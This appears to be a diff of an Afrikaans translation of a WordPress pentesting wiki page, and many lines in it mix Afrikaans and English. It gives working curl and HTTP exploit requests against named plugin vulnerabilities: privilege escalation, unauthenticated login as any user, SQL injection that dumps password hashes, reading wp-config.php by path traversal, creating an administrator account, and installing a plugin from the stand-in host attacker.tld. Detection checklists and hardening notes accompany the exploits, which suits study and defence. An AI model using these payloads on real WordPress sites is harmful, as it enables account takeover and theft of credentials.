|
||||
@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Waarom dit uitbuitbaar is
|
||||
Hoekom dit uitbuitbaar is
|
||||
|
||||
- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side toestemming.
|
||||
- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en afgradeer is, kan hulle dit herstel deur die terugstelpad te besoek.
|
||||
- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat steeds in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging).
|
||||
- Vertrou `$_REQUEST['reset-for']` en 'n plugin-opsie sonder magtiging aan die bedienerzijde.
|
||||
- As 'n gebruiker voorheen hoër voorregte gehad het wat in `_asenha_view_admin_as_original_roles` gestoor is en afgradeer is, kan hulle dit herstel deur die reset-pad te gebruik.
|
||||
- In sommige ontplooiings kan enige geverifieerde gebruiker 'n reset veroorsaak vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` teenwoordig is (gebreekte magtiging).
|
||||
|
||||
Uitbuiting (voorbeeld)
|
||||
```bash
|
||||
@ -493,23 +493,23 @@ Uitbuiting (voorbeeld)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (e.g., `administrator`), effectively escalating privileges.
|
||||
Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle (bv. `administrator`) weer by, wat effektief privilegieë eskaleer.
|
||||
|
||||
Detection checklist
|
||||
Opsporingskontrolelys
|
||||
|
||||
- Kyk vir role-switching features wat die “original roles” in user meta bewaar (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/restore paths wat:
|
||||
- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Kyk na rol-wissel funksies wat "original roles" in user meta behou (bv. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/restore-paaie wat:
|
||||
- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Magtig op grond van 'n plugin option array (e.g., `viewing_admin_as_role_are`) in plaas van die akteur se capabilities.
|
||||
- Machtig gebaseer op 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se bevoegdhede.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
### Ongeauthentiseerde privilegie-eskalering via koekie‑vertroude gebruikerswisseling op openbare `init` (Service Finder “sf-booking”)
|
||||
|
||||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||||
Sommige plugins koppel hulpfunksies vir gebruikerswisseling aan die openbare `init` hook en bepaal identiteit uit 'n kliënt-beheerde koekie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentisering, bevoegdhede en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om in te teken as 'n ewekansige gebruikers-ID.
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
Waarom dit uitbuitbaar is
|
||||
|
||||
- Publieke `init` hook maak die hanteraar bereikbaar vir ongeauthentiseerde gebruikers (geen `is_user_logged_in()`-kontrole).
|
||||
- Publieke `init` hook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geen `is_user_logged_in()` kontrole).
|
||||
- Identiteit word afgelei van 'n deur die kliënt wysigbare cookie (`original_user_id`).
|
||||
- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker aan as daardie gebruiker sonder enige bevoegdheids-/nonce-kontroles.
|
||||
- Direkte oproep na `wp_set_auth_cookie($uid)` meld die versoeker aan as daardie gebruiker sonder enige capability/nonce kontroles.
|
||||
|
||||
Eksploitasie (ongeauthentiseerd)
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -556,20 +556,20 @@ Connection: close
|
||||
|
||||
### WAF-oorwegings vir WordPress/plugin CVEs
|
||||
|
||||
Generiese edge/server WAFs is afgestel op breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
|
||||
Generiese edge/server WAFs is gekalibreer vir breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin‑foute is aansoek‑spesifieke logika/auth‑bugs wat soos onskuldige verkeer lyk tensy die engine WordPress‑roetes en plugin‑semantiek verstaan.
|
||||
|
||||
Aanvalsnotas
|
||||
Offensiewe notas
|
||||
|
||||
- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Gebruik eers ongeauthentiseerde paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard-payloads slaag dikwels sonder obfuskasie.
|
||||
- Tipiese hoë‑impak gevalle: privilege escalation (gebroke toegangsbeheer), arbitêre lêer oplaai/aflaai, LFI, open redirect.
|
||||
- Teiken plugin‑spesifieke eindpunte met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Gebruik eers unauth‑pade (AJAX `nopriv`, REST met permissiewe `permission_callback`, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie.
|
||||
- Tipiese hoë‑impak gevalle: privilege escalation (broken access control), arbitêre lêer‑upload/download, LFI, open redirect.
|
||||
|
||||
Verdedigingsnotas
|
||||
Verdedigende notas
|
||||
|
||||
- Moenie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer aansoeklaag- en kwesbaarheidspesifieke virtuele pleisters of werk vinnig op.
|
||||
- Gee voorkeur aan positiewe-sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidasie) bo negatiewe regex-filters.
|
||||
- Moet nie staatmaak op generiese WAF‑handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid‑spesifieke virtuele pleisters of werk vinnig op.
|
||||
- Verkies positive‑security kontroles in kode (capabilities, nonces, streng invoer‑validasie) bo negatiewe regex‑filters.
|
||||
|
||||
## WordPress Beskerming
|
||||
## WordPress-beskerming
|
||||
|
||||
### Gereelde opdaterings
|
||||
|
||||
@ -579,26 +579,26 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Also, **only install trustable WordPress plugins and themes**.
|
||||
Installeer ook slegs **betroubare WordPress-plugins en -themes**.
|
||||
|
||||
### Security Plugins
|
||||
### Sekuriteits-plugins
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Other Recommendations**
|
||||
### **Ander Aanbevelings**
|
||||
|
||||
- Verwyder die standaard **admin** gebruiker
|
||||
- Gebruik **sterk wagwoorde** en **2FA**
|
||||
- Hersien gereeld gebruikers se **toestemmings**
|
||||
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
|
||||
- Hernoem die **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe.
|
||||
- **Hersien** periodiek gebruikers se **permissions**
|
||||
- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
|
||||
- Hernoem die **`wp-admin.php`** lêer en laat slegs toegang toe vanaf interne netwerke of van sekere IP-adresse.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### Nie-geauthentiseerde SQL Injection as gevolg van onvoldoende validering (WP Job Portal <= 2.3.2)
|
||||
|
||||
Die WP Job Portal recruitment-plugin het 'n **savecategory** taak ontsluit wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Probleme wat deur hierdie snipet geskep word:
|
||||
|
||||
1. **Nie-gefiltreerde gebruikerinvoer** – `parentid` kom direk uit die HTTP-versoek.
|
||||
2. **String-konkatenasie binne die WHERE-klousule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Ongeauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit, kan bekom.
|
||||
1. **Ongefiltreerde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek.
|
||||
2. **String-samevoeging binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
1. Kry 'n vars nonce:
|
||||
1. Haal 'n vars nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inject arbitrary SQL deur `parentid` te misbruik:
|
||||
2. Inject arbitrary SQL by abusing `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Die response openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys.
|
||||
Die reaksie openbaar die resultaat van die ingespuite navraag of verander die databasis, wat SQLi bewys.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwetsbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op die skyf** af te laai via path traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` is attacker-controlled and concatenated **without sanitisation**. Weereens is die enigste hek 'n **CSRF nonce** wat vanaf die resume page gehaal kan word.
|
||||
`$file_name` is deur 'n aanvaller beheer en aaneengekoppel **sonder sanitisering**. Weereens is die enigste hek 'n **CSRF nonce** wat vanaf die CV-bladsy verkry kan word.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Die bediener antwoord met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
|
||||
Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Ongeauthentiseerde rekeningoorname via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Baie themes/plugins lewer "social login" helpers blootgestel via admin-ajax.php. As 'n ongeauthentiseerde AJAX-aksie (wp_ajax_nopriv_...) kliënt-verskafde identifiseerders vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n volledige authentication bypass.
|
||||
Baie themes/plugins lewer "social login" helpers wat via admin-ajax.php blootgestel word. As an unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n full authentication bypass.
|
||||
|
||||
Tipiese gebrekkige patroon (vereenvoudigde)
|
||||
Tipiese foutiewe patroon (vereenvoudigde weergawe)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Hoekom dit uitbuitbaar is
|
||||
Waarom dit uitbuitbaar is
|
||||
|
||||
- Ongeauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Geen nonce/capability checks voordat state change plaasvind.
|
||||
- Ontbrekende OAuth/OpenID provider verification; default branch aanvaar attacker input.
|
||||
- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) autentikeer die versoeker as enige bestaande e-posadres.
|
||||
- Nie-geauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Geen nonce/capability kontroles voordat ’n staat verander word.
|
||||
- Geen OAuth/OpenID provider verifikasie; die default branch aanvaar attacker-invoer.
|
||||
- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) authentiseer die versoeker as enige bestaande e-posadres.
|
||||
|
||||
Uitbuiting (ongeauthentiseerd)
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- Vereistes: attacker kan /wp-admin/admin-ajax.php bereik en ken/raai 'n geldige gebruiker email.
|
||||
- Stel provider op 'n unsupported value (of laat dit weg) om die default branch te tref en id=<victim_email> te stuur.
|
||||
- Voorvereistes: attacker kan /wp-admin/admin-ajax.php bereik en weet/raai ’n geldige gebruikers-e-posadres.
|
||||
- Stel provider op ’n nie-ondersteunde waarde (of laat dit weg) om die default branch te tref en id=<victim_email> deur te gee.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -708,39 +708,39 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
Verwagte sukses-aanwysers
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
- HTTP 200 met JSON-liggaam soos {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* vir die slagoffer gebruiker; daaropvolgende versoeke is geauthentiseer.
|
||||
|
||||
Finding the action name
|
||||
Om die aksienaam te vind
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
- Inspekteer die theme/plugin vir add_action('wp_ajax_nopriv_...', '...') registrasies in social login-kode (bv., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep vir wp_set_auth_cookie(), get_user_by('email', ...) binne AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
Opsporingskontrolelys
|
||||
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
- Weblogs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php wys met die social-login aksie en id=<email>.
|
||||
- 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
Verharding
|
||||
|
||||
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
|
||||
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
|
||||
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
|
||||
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
|
||||
- Moet nie identiteit aflei uit kliëntinvoer nie. Aanvaar slegs e-posadresse/ID's wat afkomstig is van 'n gevalideerde verskaffer-token/ID.
|
||||
- Vereis CSRF nonces en capability checks selfs vir aanmeldhulpmiddels; vermy die registrasie van wp_ajax_nopriv_ tensy dit absoluut nodig is.
|
||||
- Valideer en verifieer OAuth/OIDC antwoorde server-side; verwerp ontbrekende/ongeldige providers (geen terugval na POST id nie).
|
||||
- Oorweeg om social login tydelik uit te skakel of virtueel aan die edge te patch (blokkeer die kwesbare aksie) totdat dit reggemaak is.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
Gepatchte gedrag (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
- Verwyder die onveilige terugval uit $_POST['id']; $user_email moet afkomstig wees van geverifieerde provider-takke in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
## Ongeauthentiseerde privilege-eskalasie via REST token/key minting op voorspelbare identiteit (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
Sommige plugins openbaar REST-endpoints wat herbruikbare “connection keys” of tokens mint sonder om die aanroeper se capabilities te verifieer. As die roete slegs op 'n raaiselbare attribuut (bv., username) autentiseer en nie die sleutel aan 'n gebruiker/sessie bind met capability checks nie, kan enige ongeauthentiseerde aanvaller 'n sleutel mint en bevoegde aksies aanroep (admin account creation, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
- Kwetsbare roete (voorbeeld): sure-triggers/v1/connection/create-wp-connection
|
||||
- Fout: aanvaar 'n username, gee 'n connection key uit sonder current_user_can() of 'n streng permission_callback
|
||||
- Impak: volle oorname deur die geminte sleutel te koppel aan interne bevoegde aksies
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
```bash
|
||||
@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Hoekom dit uitbuitbaar is
|
||||
- Sensitiewe REST-roete beskerm slegs deur 'n lae-entropie identiteitsbewys (username) of ontbrekende permission_callback
|
||||
- Geen capability afdwinging; minted key word aanvaar as 'n universele omseiling
|
||||
Waarom dit uitbuitbaar is
|
||||
- Sensitiewe REST route wat slegs beskerm word deur 'n laag-entropie identiteitsbewys (username) of ontbrekende permission_callback
|
||||
- Geen capability-afdwinging nie; minted key word aanvaar as 'n universele omseiling
|
||||
|
||||
Opsporingskontrolelys
|
||||
Detection checklist
|
||||
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Enige roete wat tokens/keys uitreik gebaseer op request-supplied identity (username/email) sonder om dit aan 'n authenticated user of capability te koppel
|
||||
- Kyk vir daaropvolgende roetes wat die minted token/key aanvaar sonder server-side capability checks
|
||||
- Enige route wat tokens/keys uitreik gebaseer op deur die versoek verskafde identiteit (username/email) sonder om dit te koppel aan 'n geverifieerde gebruiker of 'n capability
|
||||
- Soek na volgende routes wat die minted token/key aanvaar sonder server-side capability kontroles
|
||||
|
||||
Verharding
|
||||
- Vir enige bevoorregte REST-roete: vereis permission_callback wat current_user_can() afdwing vir die vereiste capability
|
||||
- Moet nie long-lived keys uit client-supplied identity mint nie; indien nodig, gee short-lived, user-bound tokens ná authentication en herkontroleer capabilities tydens gebruik
|
||||
- Valideer die caller se user-konteks (wp_set_current_user is alleenlik nie voldoende nie) en verwerp requests waar !is_user_logged_in() || !current_user_can(<cap>)
|
||||
Hardening
|
||||
- Vir enige bevoorregte REST route: vereis 'n permission_callback wat current_user_can() afdwing vir die vereiste capability
|
||||
- Moet nie long-lived keys uit client-supplied identity skep nie; indien nodig, gee kortlewende, user-bound tokens uit na verifikasie en kontroleer capability weer tydens gebruik
|
||||
- Valideer die oproeper se gebruikerskonteks (wp_set_current_user is nie afdoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → nie-geauthentiseerde arbitrêre plugin installasie (FunnelKit Automations ≤ 3.5.3)
|
||||
## Nonce gate misuse → ongeauthentiseerde arbitraire plugininstallasie (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces voorkom CSRF, nie magtiging nie. As kode 'n nonce pas as 'n groen lig beskou en dan capability checks vir bevoorregte operasies oorslaan (bv. install/activate plugins), kan nie-geauthentiseerde aanvallers 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of vulnerable plugin te installeer.
|
||||
Nonces voorkom CSRF, nie autorisasie nie. As kode 'n nonce-pass hanteer as 'n groen lig en dan capability kontroles vir bevoorregte operasies (bv. install/activate plugins) oorslaan, kan ongeauthentiseerde aanvallers aan 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of kwetsbare plugin te installeer.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Fout: swak nonce hash check; geen current_user_can('install_plugins'|'activate_plugins') een maal nonce “passes” nie
|
||||
- Impak: volledige kompromittering via arbitrêre plugin install/activation
|
||||
- Kwetsbare pad: plugin/install_and_activate
|
||||
- Fout: swak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impak: volle kompromittering via arbitraire plugininstallasie/-aktivering
|
||||
|
||||
PoC (vorm hang af van plugin; slegs illustratief)
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check nie
|
||||
- Enige code path wat $skip_caps = true stel ná nonce-validasie
|
||||
- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check
|
||||
- Enige kodepad wat $skip_caps = true stel na nonce-validasie
|
||||
|
||||
Verharding
|
||||
- Hanteer nonces altyd slegs as CSRF tokens; dwing capability checks af ongeag nonce-status
|
||||
- Hanteer nonces altyd as slegs CSRF tokens; afdwing capability checks ongeag nonce-toestand
|
||||
- Vereis current_user_can('install_plugins') en current_user_can('activate_plugins') voordat installer code bereik word
|
||||
- Weier ongeauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows
|
||||
- Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows
|
||||
|
||||
---
|
||||
|
||||
## Onauthentiseerde SQLi via die s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Verskeie depicter-* actions het die s (search) parameter verbruik en dit in SQL queries gekonkatenereer sonder parameterisering.
|
||||
Verskeie depicter-* actions het die s (search) parameter gebruik en dit in SQL queries gekonkateneer sonder parameterisering.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Kwetsbaarheid: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
|
||||
- Impak: database exfiltration (users, hashes), lateral movement
|
||||
- Fout: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
|
||||
- Impact: databasis-ekstraksie (gebruikers, hashes), laterale beweging
|
||||
|
||||
PoC
|
||||
```bash
|
||||
@ -812,35 +812,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- Grep vir depicter-* aksiehandelaars en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL
|
||||
- Hersien pasgemaakte queries wat aan $wpdb->get_results()/query() deurgegee word en s saamvoeg
|
||||
Detection checklist
|
||||
- Grep vir depicter-* action handlers en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL
|
||||
- Hersien custom queries wat aan $wpdb->get_results()/query() deurgegee word en s aanmekaar heg
|
||||
|
||||
Verharding
|
||||
Hardening
|
||||
- Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant
|
||||
- Voeg 'n streng allowlist vir s by en normaliseer na die verwagte charset/lengte
|
||||
- Voeg 'n streng allowlist vir s by en normaliseer dit na die verwagte charset/lengte
|
||||
|
||||
---
|
||||
|
||||
## Ongeauthentiseerde Local File Inclusion via nie-gevalideerde template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
## Unauthenticated Local File Inclusion via ongevalideerde template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Die aanvaar van aanvaller-beheerde paaie in 'n template-parameter sonder normalisering/beperking maak dit moontlik om arbitrêre plaaslike lêers te lees, en soms kode-uitvoering as inkludeerbare PHP/log-lêers in die runtime ingesleep word.
|
||||
Aanvaarding van deur 'n aanvaller beheerde paaie in 'n template-parameter sonder normalisering/begrenzing laat toe om willekeurige plaaslike lêers te lees, en soms kode-uitvoering indien inkludeerbare PHP/log-lêers in die runtime ingesluit word.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: geen normalisering/allowlisting nie; traversal toegelaat
|
||||
- Impak: geheimonthulling (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)
|
||||
- Flaw: geen normalisering/allowlisting; traversering toegelaat
|
||||
- Impact: geheime openbaarmaking (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)
|
||||
|
||||
PoC – lees wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- Enige handler wat versoekpaaie in include()/require()/read sinks aanmekaar koppel sonder realpath() containment
|
||||
- Soek na traversal-patrone (../) wat buite die beoogde templates directory bereik
|
||||
- Enige handler wat request-paaie saamvoeg in include()/require()/read sinks sonder realpath() containment
|
||||
- Kyk vir traversal-patrone (../) wat buite die beoogde templates-gids bereik
|
||||
|
||||
Verharding
|
||||
- Dwing toegelate templates af; los op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lêernamme (nie volledige paaie nie)
|
||||
- Dwing toegelate templates af; los dit op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lêernaam (nie volle paaie nie)
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Wat is command Injection?
|
||||
|
||||
